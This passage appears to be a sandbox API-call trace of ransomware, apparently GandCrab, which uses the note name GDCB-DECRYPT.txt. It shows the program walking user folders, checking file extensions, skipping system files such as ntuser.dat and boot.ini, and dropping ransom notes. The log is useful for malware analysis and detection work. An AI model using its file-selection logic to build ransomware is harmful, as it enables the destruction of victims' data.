FindNextFileW (in: hFindFile=0x5dd150, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.335] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.335] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.335] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.335] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 226 [0170.335] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.335] FindNextFileW (in: hFindFile=0x5dd150, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.335] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.335] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.335] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.335] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 220 [0170.335] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.335] FindNextFileW (in: hFindFile=0x5dd150, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.335] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.335] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.335] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.335] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 219 [0170.335] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.335] FindNextFileW (in: hFindFile=0x5dd150, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.335] FindClose (in: hFindFile=0x5dd150 | out: hFindFile=0x5dd150) returned 1 [0170.335] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 227 [0170.336] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.338] GetLastError () returned 0x50 [0170.338] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 210 [0170.338] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.338] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dcf90 [0170.338] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.338] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 226 [0170.338] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 226 [0170.338] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 226 [0170.338] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 226 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.338] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.338] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 220 [0170.338] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 220 [0170.338] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.338] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 219 [0170.338] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 219 [0170.339] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.339] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 211 [0170.339] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 211 [0170.339] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 211 [0170.339] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 211 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.339] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.339] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.339] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\" [0170.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.339] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 206 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.340] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.340] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 211 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 222 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 209 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 211 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 222 [0170.340] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 212 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.340] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0170.340] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0170.340] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History" [0170.340] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 213 [0170.340] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 218 [0170.341] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft" [0170.341] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 215 [0170.341] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.341] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0170.341] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0170.341] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 